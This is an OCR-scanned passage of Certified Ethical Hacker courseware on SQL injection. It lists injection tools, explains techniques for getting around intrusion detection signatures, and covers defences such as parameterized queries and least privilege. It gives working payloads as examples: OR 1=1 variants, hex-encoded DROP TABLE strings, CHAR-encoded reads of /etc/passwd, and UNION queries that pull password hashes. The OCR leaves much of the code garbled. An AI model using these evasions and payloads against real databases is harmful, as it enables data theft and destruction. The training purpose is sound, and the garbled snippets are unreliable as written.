(C o n td)

CEH
Sqllnjector
h ttp ://w w w . woanware. co. uk

FJ-lnjector Framework
http://so urcefo rg e . net

Exploiter (beta)
h ttp ://w w w . ibm.com

3 ^
W

Automagic SQL Injector


http://w w w .securiteam .com

L Jp S r J

SQL Inject-Me
http://labs.securitycompass.com

111 j

Sqlsus
http://sqlsus.sourceforge.net

NTO SQL Invader


h ttp ://w w w .nto bje cti\/es. com

SQLEXEC() Function
h ttp ://m s d n . microsoft. com

The Mole
h ttp://them ole.nasel.com .ar

Copyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

S Q L I n j e c t i o n T o o l s ( C o n t d)
In addition to the previously mentioned tools, a few more SQL Injection tools are readily available in the market and are listed as follows: a e FJ-lnjector Framework available at http://sourceforge.net Exploiter (beta) available at http://www.ibm.com

Q SQLIer available at http://bcable.net Q Sqlsus available at http://sqlsus.sourceforge.net Q e Q e e a SQ LEXEC () Function available at http://msdn.microsoft.com Sqllnjector available at http://www.woanware.co.uk Automagic SQL Injector available at http://www.securiteam.com SQL Inject-Me available at http://labs.securitycompass.com NTO SQL Invader available at http://www.ntobiectives.com The Mole available at http://themole.nasel.com.ar

Module 14 Page 2099

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Copyright by EC-ClllCil. All Rights Reserved. Reproduction Is Strictly Prohibited.

M o d u le F lo w
Evasion techniques are the techniques adopted by the attacker for modifying the attack payload in such a way that they cannot be detected by firewalls. Simple evasion techniques include hex encoding, manipulating white spaces, in-line comments, manipulating white spaces, sophisticated matches, char encoding, and hex coding and they are discussed in detail on the following slides.

SQL Injection Concepts

Advanced SQL Injection

Testing for SQL Injection

|j|||r

SQL Injection Tools

Types of SQL Injection

Evasion Techniques

Blind SQL Injection

!/
V

Countermeasures

SQL Injection Methodology

Module 14 Page 2100

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

E v a d in g IDS
*.... >

CEH

SQL Injection Attack

Internet

Firewall

IDS Filters

Attackers use evasion techniques to obscure input strings in order to avoid detection by signature-based detection systems Signature-based detection systems build a database of SQL injection attack strings (signatures) and then compare input strings Attacker Security Admin against the signature database at runtime to detect attacks

M #

p 1

.... 1
OS Shell Actual Data Database W eb Application
Copyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

Network

E v a d in g ID S s
Attackers use evasion techniques to obscure input strings in order to avoid detection by signature-based detection systems. Signature-based detection systems build a database of SQL injection attack strings (signatures) and then compare input strings against the signature database at runtime to detect attacks. If any information provided matches the attack signatures present in the database, then it immediately sets off an alarm. This kind of problem is more in network-based IDS systems (NIDSs) and also in signature-based NIDS systems. So attackers should be very careful and try to attack the system by bypassing the signature-based IDS. Attackers use evasion techniques to obscure input strings in order to avoid detection by signature-based detection systems.

Module 14 Page 2101

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Network

OS Shell

Actual Data

Web Application

FIGURE 14.26: Evading IDSs

Module 14 Page 2102

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Types o f Signature Evasion T echniques


So p h isticated M a tc h e s
U ses a lte rn a tiv e expression o f "O R 1=1"

lE ?

In-line C o m m e n t
O b scures input strings by inserting in-line co m m e n ts b e tw e e n S Q L keyw o rds

Hex Encoding
Uses h ex adecim al en co din g to re p rese n t a SQ L q u e ry string

C har Encoding
U ses built-in CH A R fu n ctio n to re p rese n t a c h a ra c te r

M a n ip u la tin g W h ite Spaces


O b scures input strings by dropping w h ite sp ace b e tw e e n SQ L keyw o rd

String C on caten atio n


C o n ca te n ates text to c re a te SQ L keyw o rd using D B specific instructions

O bfuscated Codes
O b fuscated co d e is an SQ L sta te m e n t th a t has b een m a d e difficult to u nd erstan d

Copyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

T y p e s of S ig n a tu re E v a sio n T e c h n iq u e s
The following are the various types of signature evasion techniques: 9 e e

Sophisticated Matches: Uses alternative expression of "OR 1=1". Hex Coding: Uses hexadecimal encoding to represent a SQL query string. Manipulating White Spaces: W hite space diversity is one of the signatures used to
prevent SQL injection attacks. In this, a sequence of two or more expressions are separated by a white space for a simple reason. A single word SELECT may generate a lot of false positives. The expression UNION SELECT may generate a good signature. If the signature isn't built properly, the signature is of no use and is highly prone to attacks.

In-line Comment: Obscures input strings by inserting in-line comments between SQL
keywords.

Q e

Char Encoding: Uses built-in CHAR function to represent a character. String Concatenation: Concatenates text to create SQL keyword using DB specific
instructions.

Obfuscated Codes: Obfuscated code is a SQL statement that has been made difficult to
understand.

Module 14 Page 2103

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Evasion Technique: Sophisticated M atches


SQL Injection Characters Evading 1OR 1=1 signature
1OR 'john1= ,john' 1OR 'microsoft1= lmicrol+'softl '

or " character String Indicators or # single-line comment

1OR 'movies' = N'movies' ' OR 'software' like 'soft%'

/*...*/ multiple-line comment


+ addition, concatenate (or space in URL) I | (double pipe) concatenate % wildcard attribute indicator ' OR 'best' > 'b' ' OR 'whatever' IN ('whatever') , OR 5 BETWEEN 1 AND 7

?Paraml=foo&Parara2=bar

URL

Parameters P R IN T useful as non-transactional command

(?variable local variable 00variable global variable waitfor delay '0:0:10' time delay

An IDS signature may be looking for the 'OR 1=1. Replacing this string with another string will have same effect.

Copyright by EG-Gtnncil. All Rights Reserved. Reproduction Is Strictly Prohibited.

E v a sio n T e c h n iq u e : S o p h istic a te d M a tc h e s
Attackers use the sophisticated matches evasion technique to trick and bypass user authentication. This uses an alternative expression of "OR 1=1" Attacker uses OR 1=1 attack OR ljohn,=ljohn' If this doesn't work, the attacker tricks the system by adding N to the second string. 'Or 'movies'=N'movies'. This method is very useful in signature evasion for evading advanced systems.

SQL Injection Characters


1o r " character String Indicators - or # single-line comment
/ * ...* /

multiple-line comment

+ addition, concatenate (or space in url) | | (double pipe) concatenate


%

wildcard attribute indicator

?Paraml=foo&Param2=bar URL Parameters

Module 14 Page 2104

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

PRINT useful as non-transactional command variable local variable( variable global variable (( waitfor delay '0:0:10' time delay Evading ' OR 1=1 signature 'OR 'j 0 hn' = ,john 1 'OR 'microsoft' = ,micro'+'soft ' 'OR 'movies' = N'movies ' '% OR 'software' like 'soft ' OR ' 7 < 1 OR 'best' > ,b 1 ' )'OR 'whatever' IN ('whatever OR 5 BETWEEN 1 AND,

Module 14 Page 2105

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Evasion Technique: Hex Encoding


Hex encoding evasion technique uses hexadecim al encoding to represent a string which most likely will not be detected by a signature protection mechanism

C EH

For example, the string 'SELECT1can be represented by th e hexadecimal num ber 0x73656c656374,

Using a Hex Value

String to Hex Examples


SELECT ((version = 0x73656c6S6374204 04076657273696f6

; declare @x varchar(80); set @x = 0x73656c6563742040407665 7273696f6e ; EXEC (@x)


This statement uses no single quotes (')

t o

DROP Table CreditCard =0x44524f502054 61626C652043726S64697443617264 INSERT into USERS ('Juggyboy', 'qwerty') = 0x494e5345525420696e74 6f2055534552532028274a7 5676779426f79272c202771 77657274792729

Copyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

E v a sio n T e c h n iq u e : H ex E n c o d in g
Hex encoding is used to represent characters in URLs. Some URLs contain %20; that is a hex encoding. %20 is used as a single space as the URL doesn't have any actual spaces. Most alphanumeric characters use hex encodings. Many intrusion detection systems (IDSs) don't recognize hex encodings. This feature is utilized by attackers. Hex coding provides countless ways for attackers to obfuscate each URL. The hex encoding evasion technique uses hexa decimal encoding to represent a string. For example, The string 'SELECT' can be represented by the hexadecimal number 0x73656c656374, which most likely will not be detected by a signature-protection mechanism.

Using a hex value


; d e c la r e 0x v a rc h a r(8 0 ); set @x = 0 x 7 3 6 5 6 c 6 5 6 3 7 4 2 0 4 0 4 0 7 6 6 5 7 2 7 3 6 9 6 f6 e ; EXEC

(@x)
This statement uses no single quotes (').

String to Hex Examples


SELECT @ 0 v e r s io n = 0 x 7 3 6 5 6 c 6 5 6 3 7 4 2 0 4 0 4 0 7 6 6 5 7 2 7 3 6 9 6 f6 = 0 x 4 4 5 2 4 f5 0 2 0 5 4 6 1 6 2 6 c 6 5 2 0 4 3 7 2 6 5 6 4 6 9 7 4 4 3 6 1 7 2 6 4 DROP T a b le C r e d it C a r d

IN S E R T in t o USERS ( Ju g g y b o y ' , ' q w e r t y ' ) = 0x4 9 4 e 5 3 4 5 5 2 5 4 2 0 6 9 6 e 7 4 6 f2 0 5 5 5 3 4 5 5 2 5 3 2 0 2 8 2 7 4 a 7 5 6 7 6 7 7 942 6 f7 9 2 7 2 c 2 0 2 7 7 177657274792729

Module 14 Page 2106

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Evasion Technique: M anipulating W hite Spaces

CEH

W hite space manipulation technique obfuscates input strings by dropping or adding white spaces between SQL keyword and string or number literals without altering execution of SQL statements

Adding white spaces using special characters like tab, carriage return, or linefeeds makes an SQL statement completely untraceable without changing the execution of the statement "U N IO N S E L E C T signature is different from U NIO N S E L E C T "

Dropping spaces from SQL statements will not affect its execution by some of the SQL databases 'O R '!'( ' !' with no spaces)

Copyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

E v a sio n T e c h n iq u e : M a n ip u la tin g W h ite S p a c e s


Many modern signature-based SQL injection detection engines are capable of detecting attacks related to variations in the number and encoding of white spaces around malicious SQL code. But they fail to handle white spaces around the same code. These detection engines fail in detecting the same kind of text without spaces. Attackers remove white spaces from the query. 0 The white space manipulation technique obfuscates input strings by dropping or adding white spaces between the SQL keyword and string or number literals without altering execution of SQL statements 0 Adding white spaces using special characters like tab, carriage return, or linefeeds makes a SQL statement completely untraceable without changing the execution of the statement UNION SELECT" signature is different from UNION SELECT" 0 Dropping spaces from SQL statements will not affect its execution by some of the SQL databases 'O R T = T (with no spaces)

Module 14 Page 2107

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Evasion Technique: In-line C om m ent

Evade signatures th a t filter w h ite spaces J In this technique, white spaces between SQL keywords are replaced by inserting in-line comments J /* ... * / is used in SQL to delimit

> 3

rr
rr 0r r rr
T r

multirow comments U N IO N / ** / S E L E C T / ** / '/ * * / O R / * * / l / * * / = / * * / l J This allows to spread the injection commands through multiple fields USERNAME: PASSWORD: o r 1 /* */ =1

Copyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

E v a sio n T e c h n iq u e : In -lin e C o m m e n t
Evade signatures that filter white spaces. In this technique, white spaces between SQL keywords are replaced by inserting in-line comments. /* ... * / is used in SQL to delimit multirow comments
U N IO N / * * / S E L E C T / * * / 1/ * * / 0 R / * * / l / * * / = / * * / l

This allows spreading the injection commands through multiple fields.


USERN A M E: PASSW O RD : ' */ or 1/*

=1 -

Module 14 Page 2108

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Evasion Technique: Char Encoding


C h a r ( ) function can be used to inject SQL injection statements into MySQL without using double quotes

Inject w ith o u t quotes (string =

Check for existing files (string = "n.ext"):


' and 1=( if( ( l o a d _ f i l e ( c h a r (110,4 6 , 1 0 1 , 1 2 0 , 1 1 6 ) ) o c h a r (39,39) ) ,1,0) ) ;

' or username like char(37);

Load files in unions (string = "/etc/passwd"):


' union select 1, (load_file(char ( 4 7 , 1 0 1 , 1 1 6 , 9 9 , 4 7 , 1 1 2 , 9 7 ,1 1 5 ,1 1 5 ,1 1 9 ,1 0 0 ))),1 ,1 ,1 ;

Inject without quotes (string = "root"):


1 union select * from users where login = c h a r ( 1 1 4 , 1 1 1 , 1 1 1 , 1 1 6 ) ;

Copyright by EC-CMMCil. All RightsJteerve<i;Reproduction is Strictly Prohibited.

i
w

E v a sio n T e c h n iq u e : C h a r E n c o d in g
To evade IDSs/lPSs, attackers use Char()function to inject SQL injection statements

into MySQL without using double quotes.

Load files in unions


(s t r in g 1 u n io n = "/ e tc / p a s s w d ") : s e le c t 1,

(lo a d _ f ile (c h a r

(4 7 ,1 0 1 ,1 16,99 ,47,112,97,115,115,119 ,100) ) ) ,1 ,1 ,1 ;

Inject without quotes


(s tr in g = "%"):' or u sern am e lik e c h a r (3 7 ) ;

Inject without quotes


(s tr in g = "ro o t") s e le c t

u n io n

fro m

u sers

w h ere

lo g in

c h a r (1 1 4 ,111, 111,116)

Check for existing files


(s t r in g ' and = "n .e x t"): if ( (lo a d f i l e (c h a r

1=(

(110 , 46,101,120 ,116)

)O ch ar

(39 , 39)

, 1, 0)

) ;

Module 14 Page 2109

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Evasion Technique: String Concatenation


Split instructions to avoid signature detection by using execution commands that allow you to concatenate text in a database server

CEH

. ) SEL
O r a c le :1;

( + } ECTUS ( + }
im m e d ia t e

ER
s e l

( > }

,ec
t u s

(O
e

)0
r

ex e c u t e

, : O /i ..

TABLE

<

LE
ex ec

: +
( d r o +

AB
,
p t

: + :

PT

+ ':

DRO

(( \*

M S SQ L: ' ;

ab + , l e )

(H A
N O ) INSE ( + RTUS ( O / \ + 1
er
u s

> :

MYSQL: ;

e x e c u t e

co n cat

( in

s e

, r t

&

Compose SQL statement by concatenating strings instead of parameterized query

Copyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

E v a s io n T e c h n iq u e : S trin g C o n c a te n a tio n
The SQL engine builds a single string from multiple pieces so the attacker, with the help of concatenation, breaks up identifiable keywords to evade intrusion detection systems. Concatenation syntaxes may vary from database to database. Split instructions to avoid signature detection by using execution commands that allow concatenating text in a database server.

Module 14 Page 2110

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Split instructions to avoid signature detection by using execution commands that a llo w to concatenate text in a database server
....................................... SELECT......

SEL

USER ................... .. ..........!> . ... ... ... .

ECTUS

ER

>

O racle : ;

exec ute

i m m e d ia t e

el

ect

u s

1 1

||

,e

............................

........................... ............................

............. . . . . . . . . . . ........ 1.,

TABLE
.*/.../. . .v .,

M S SQL: ' ; EXEC

( ,DRO + 'P T + AB'

+ 'L E ')

............

.,...JSJr
/ INSERT USER

MYSQL: ; EXECUTE CONCAT ( ' IN S E ' , ' RT US ' , ' E R ' )


Compose SQL statem ent by concatenating strings instead of parameterized query F IG U R E 14.27: Evading Techniques by Using String Co ncaten ation

Module 14 Page 2111

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Obfuscated "qwerty"
Examples of obfuscated codes for the string "qw erty":
Reverse(concat(if(1, char(121), 2),0x74, right(left(0x567210, 2),1), lower(mid( T E S T 2,1)),replace(0x7074, 'pt','wf),char(instr(123321, 33)+110))) Concat(unhex(left(crc32(31337),3)-400), unhex(ceil(atan(1)*100-2)), unhex(round(log(2)*100)-4), char(114), char(right(cot(31337),2)+54), char(pow(11, 2)))

An example of bypassing signatures (obfuscated code for request):


The following request corresponds to the application signature:
/?id-l+union+(select+1,2+from+test.users)

The signatures can be bypassed by modifying the above request:


/?id=(1)union(selEct(1),mid(hash,1,32)from(test.users)) /?id=l+union+(sELect 1 ,concat(login,hash)from+test.users) /?id=(1)union(((((((select(l),hex(hash)from(test.users))))))))

Copyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

E v a sio n T e c h n iq u e : O b fu s c a te d C o d e s
Attackers obfuscate code so that they are not recognized by the intrusion detection system.

Examples of obfuscated codes for the string "qwerty":


R e v e r s e ( c o n c a t ( i f ( 1 , c h a r (1 2 1 ) ,2 ) , 0 x 7 4 , r i g h t ( l e f t (0 x 5 6 7 2 1 0 ,2 ) ,1 ) , l o w e r ( m i d ( 1T E S T ' , 2 , 1 ) ) , r e p l a c e ( 0 x 7 0 7 4 , ' p t ' , ' w ' ) , c h a r ( i n s t r (1 2 3 3 2 1 ,3 3 )+ 1 1 0 )) ) C o n c a t (u n h e x (le f t (c r c 3 2 (3 1 3 3 7 ),3 )- 4 0 0 ), u n h e x ( c e il( a t a n (1 )* 1 0 0 - 2 )), u n h e x (r o u n d (lo g (2 )* 1 0 0 )- 4 ), c h a r(p o w (1 1 ,2 ))) c h a r (1 1 4 ),c h a r ( r ig h t ( c o t ( 3 1 3 3 7 ) ,2 )+ 5 4 ),

An example of bypassing signatures (obfuscated code for request):


The following request corresponds to the application signature:
/ ? id = l+ u n io n + (s e le c t + 1 , 2 + fro m + te s t. u s e r s ) The s ig n a tu r e s can be bypassed by m o d if y in g th e above re q u e st:

/ ? id = ( 1 ) u n i o n ( s e l E c t ( 1 ) ,m id (h a s h , 1 , 3 2 ) f r o m ( t e s t . u s e r s ) ) / ? id = l+ u n io n + (s E L e c t ' 1 ' , c o n c a t ( lo g in , h a s h )fr o m + t e s t . u s e r s ) / ? id = (1 )u n io n ( ( ( ( ( ( ( s e l e c t ( 1 ) , h e x (h a s h )fr o m (te s t.u s e r s ) ) ) ) ) ) ) )

Module 14 Page 2112

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Copyright by EC-ClllCil. All Rights Reserved. Reproduction Is Strictly Prohibited.

M o d u le F lo w
So far, we have discussed various concepts and topics that help you penetrate the web application or network to test for SQL vulnerabilities. Now we will discuss the countermeasures to be applied to protect web applications against SQL injection attacks. A countermeasure is an act or method, device, or system that can be used to avoid the side effects of vulnerabilities and malicious events that can in turn compromise the assets of an organization or computer in a network. This can be a response to defend the negative event.

(^jjj^) SQL Injection Concepts

Advanced SQL Injection

Testing for SQL Injection

SQL Injection Tools

Types of SQL Injection

Evasion Techniques

( r-

Blind SQL Injection

Countermeasures

Module 14 Page 2113

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

This section highlights various SQL injection countermeasures.

Module 14 Page 2114

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

How to D efend A gainst SQL Injection Attacks


Why Web Applications are Vulnerable to SQL Injection Attacks?
Run database service account with minimal rights T r Disable commands like xp_cmdshell ~ Using privileged account to connect to the Database

CEH

Monitor DB traffic using an IDS, WAP Database server runs OS commands Use low privileged account for DB connection

Error message revealing important information Suppress all error .....messages Filter All Client Data

{=*)

H o w to D e f e n d A g a i n s t S Q L I n j e c t i o n A t t a c k s
Implementing consistent coding standards, minimizing privileges, and firewalling the

server help in defending against SQL injection attacks.

M in im iz in g P riv ile g es
Developers generally neglect security aspects while creating a new application, and tend to leave those matters to the end of the development cycle. However, security matters should be a priority, and adequate steps must be incorporated during the development stage itself. It is important to create a low-privilege account first, and begin to add permissions only as they are needed. The benefit to addressing security early is that it allows developers to address security concerns as features are added, so they can be identified and fixed easily. In addition, developers become much more familiar with the security framework, if they are forced to comply with it throughout the project's lifetime. The payoff is usually a more secure product that does not require the last minute security scramble that inevitably occurs when customers complain that their security policies do not allow applications to run outside of the system administrator's context.

Im p le m e n tin g C o n sisten t C oding S tand ards


* Successful planning of the whole security infrastructure that would be integrated into
Module 14 Page 2115 Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

a product should be carried out. Apart from this, a set of standards and policies with which every developer must comply should be laid down. Take, for example, a policy for performing data access. Developers are generally allowed to use whatever data access method they like. This usually results in a multitude of data access methods, each exhibiting unique security concerns. A more prudent policy would be to dictate certain guidelines that guarantee similarity in each developer's routines. This consistency would greatly enhance both the maintainability and security of the product, provided the policy is sound. Another useful coding policy is to ensure that all input validation checks are performed on the server. Although it is sometimes a performance technique to carry out data entry validation on the client, since it minimizes round-trips to the server, it should not be assumed that the user is actually conforming to that validation when they post information. In the end, all input validation checks should occur on the server.

of
o )~

F irew a llin g th e SQL Server


It is a good idea to firewall the server so that only trusted clients can contact it in

most web environments, the only hosts that need to connect to SQL Server are the administrative network (if one is there) and the web server(s) that it services. Typically, SQL Server needs to connect only to a backup server. SQL Server 2000 listens by default on named pipes (using Microsoft networking on TCP ports 139 and 445) as well as TCP port 1433 and UDP port 1434 (the port used by the SQL Slammer" worm). If the server lockdown is good enough, it should be able to help mitigate the risk of the following: Q e 9 Developers uploading unauthorized/insecure scripts and components to the web server Misapplied patches Administrative errors

Module 14 Page 2116

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

How to D efend Against SQL Injection Attacks (cont d )


ii Make no assumptions about the size, type, or content of the data that is received by your application

CEH

Test the size and data type of input and enforce appropriate limits to prevent buffer overruns

6 Test the content of string variables and accept only expected values

- Reject entries that contain binary data, escape sequences, and comment characters

Never build Transact-SQL statements directly from user input and use stored procedures to validate user input

6 Implement multiple layers of validation and never concatenate user input that is not validated

Copyright by EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited.

H o w to D e f e n d A g a i n s t S Q L I n j e c t i o n A t t a c k s ( C o n t d)
Attackers use SQL injections to gain unauthorized access into the system or network. The following things should be done to defend against SQL injection attacks. a Make no assumptions about the size, type, or content of the data that is received by your application. e Test the size and data type of input and enforce appropriate limits to prevent buffer overruns. Q Q Q Test the content of string variables and accept only expected values. Reject entries that contain binary data, escape sequences, and comment characters. Never build Transact-SQL statements directly from user input and use stored procedures to validate user input. Q Implement multiple layers of validation and never concatenate user input that is not validated.

Module 14 Page 2117

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

H ow to D e f e n d A g a in s t SQL I n j e c t i o n A tta c k s : U se T y p e -S a fe SQL P a r a m e t e r s


J

(rtifwd

CEH
ithiul UthM

En fo rce T y p e and len g th ch e ck s using P a ra m e te r C o lle c tio n so th a t inp u t is tre a te d as a literal va lu e instead o f ex ecu tab le cod e

SqlDataAdapter m y C o mmand = new SqlDataAdapter("AuthLogin",

conn);

myCommand.SelectCommand.Command T y p e = C o m m a n d T y p e .StoredProcedure; SqlParameter parm = m y C o m m a n d . S e l e c t C o m m a n d . P a r a m e t e r s . A d d ("@aut_id", S q l D b T y p e .VarChar, 11); parm.Value = Login.Text; In this example, the and length.
@ a u t_ id

param eter is treated as a literal value instead o f as executable code. This value is checked fo r type

Exam ple of V u ln erab le and Secure Code:

*
Login.Text +

V ulnerab le Code

Secure Code
S q lDataAdapter m y C o m m a n d = new SqlDataAdapter( "SELECT aut_lname, aut_fname FROM Authors WHERE a u t_id = 0aut_id", c o n n ) ; SQLParameter p a r m = m y C o m m a n d . S e l e c t C o m m a n d .P a rameters.Add ("@aut_id", SqlDbType.VarChar, 11); Parm.Value = Login.Text; Copyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

SqlDataAdapter myCommand = new S q l D a t a A d a p t e r ("LoginStoredProcedure conn);

H o w to D e f e n d A g a i n s t S Q L I n j e c t i o n A t t a c k s : U s e T y p e-S afe SQL P a r a m e te r s

Use type-safe SQL parameters with stored procedures or dynamically constructed SQL command strings. Various parameter collections provide type checking and length validation. For example, a SQL parameter collection can be used. Type and length checks can be enforced using a Parameter Collection. Consider the following example in which input "@ au t_id " is treated as a literal value instead of executable code.
S q l D a t a A d a p t e r m yCom m and = n e w S q lD a ta A d a p te r ( " A u t h L o g in " , c o n n );

m yC o m m an d . S e l e c t C o m m a n d . C o m m a n d T y p e = Com m andType. S t o r e d P r o c e d u r e ; S q lP a r a m e te r p a rm = m yC o m m an d . S e l e c t C o m m a n d . P a r a m e t e r s . A d d ( " 0 a u t _ i d " , S q lD b T y p e .V a r C h a r , p a r m .V a lu e 1 1 );

= L o g in .T e x t ;

The @aut_id value is checked for type and length. Example of Vulnerable and Secure Code: This code is vulnerable to SQL injection
S q l D a t a A d a p t e r m yCom m and = + L o g i n . T e x t + " ' 11, c o n n ) ; new S q lD a t a A d a p t e r ( " L o g in S t o r e d P r o c e d u r e

Module 14 Page 2118

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

This is safe code that uses parameter collection


S q lD a ta A d a p te r m yCom m and = new S q lD a ta A d a p te r ( "S E L E C T a u t_ ln a m e , a u t_ fn a m e FROM A u t h o r s W H ER E a u t_ id = @ a u t_ id ", c o n n ); S Q L P a ra m e te r p arm = m y C o m m a n d .S e le c t C o m m a n d .P a r a m e t e r s .A d d (" @ a u t _ id " , S q lD b T y p e . V a r C h a r , 1 1 ); P a r m .V a lu e = L o g in . T e x t ;

Module 14 Page 2119

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

'n.

: Disable commands V like xp_cmdshell

Use stored procedures and parameter queries

Disable verbose error messages and use custom error pages

I N
Operating System SQL Query Custom Error Page

Copyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

H o w to D e f e n d A g a i n s t S Q L I n j e c t i o n A t t a c k s
To defend against SQL injection attacks, you can follow the countermeasures stated in the previous section and you can use type-safe SQL parameters as well. To protect the web server, you can use W AF firewall/IDS and filter packets. You need to constantly update the software using patches to keep the server up-to-date to protect it from attackers. Sanitize and filter user input, analyze the source code for SQL Injection, and minimize the use of third-party applications to protect the web applications. You can also use stored procedures and parameter queries to retrieve data and disable verbose error messages, which can guide the attacker with some useful information, and use custom error pages to protect the web applications. To avoid SQL injection into the database, connect using non-privileged accounts and grant least privileges to the database, tables, and columns. Disable commands such as xp_cmdshell, which can affect the OS of the system.

Module 14 Page 2120

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures

Exam 312-50 Certified Ethical Hacker

SQL Injection

http://juggvb0Y.c0m/7id:blah' OR 1*1

Keep Patches current

Q
Log in Form

....................
Internet Connect to the Database using non-privileged account Use WAF Firewall/IDS and filter packets Web Server

Attacker

<..............................I | I K
DBMS Grant least privileges to the database, tables, and colum ns Web Application M inim ize Use of 3 rd Party A pps
-i

Analyze the source code for SQ L Injection

'V r f f H

Sanitize and filter user Input

D isable com m ands like xp_cm dshell

Use stored procedures and param eter queries

Disable verbose error m essages and use customerror p ages

Li

ILfe

7 h
Operating System
SQL Query FIG U R E 14.28: H ow to Defend Against SQ L Injection Attack

C ustomError Page

Module 14 Page 2121

Ethical Hacking and Countermeasures Copyright by EC-COUIICil


All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

S Q L I n j e c t i o n D e t e c t i o n T o o l: M ic ro so ft S o u rc e C o d e A n a ly z e r
J

CEH

Microsoft Source Code Analyzer for SQL Injection is a static code analysis tool for finding SQL Injection vulnerabilities in ASP code It scans ASP source code and generates warnings related to first order and second order SQL Injection vulnerabilities

http://www.m icrosoft.com Copyright by EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited.

S Q L I n j e c t i o n D e t e c t i o n T o o l: M i c r o s o f t S o u r c e C o d e A n a ly z e r
Source: http://www.microsoft.com The Microsoft Source Code Analyzer for SQL Injection tool is a static code analysis tool that helps you find SQL injection vulnerabilities in Active Server Pages (ASP) code. It scans ASP source code and generates warnings related to first order and second order SQL injection vulnerabilities.

Module 14 Page 2122

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

F IG U R E 14.29: SQ L Injection D etection by Using M icro so ft So u rce Code A nalyzer

Module 14 Page 2123

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

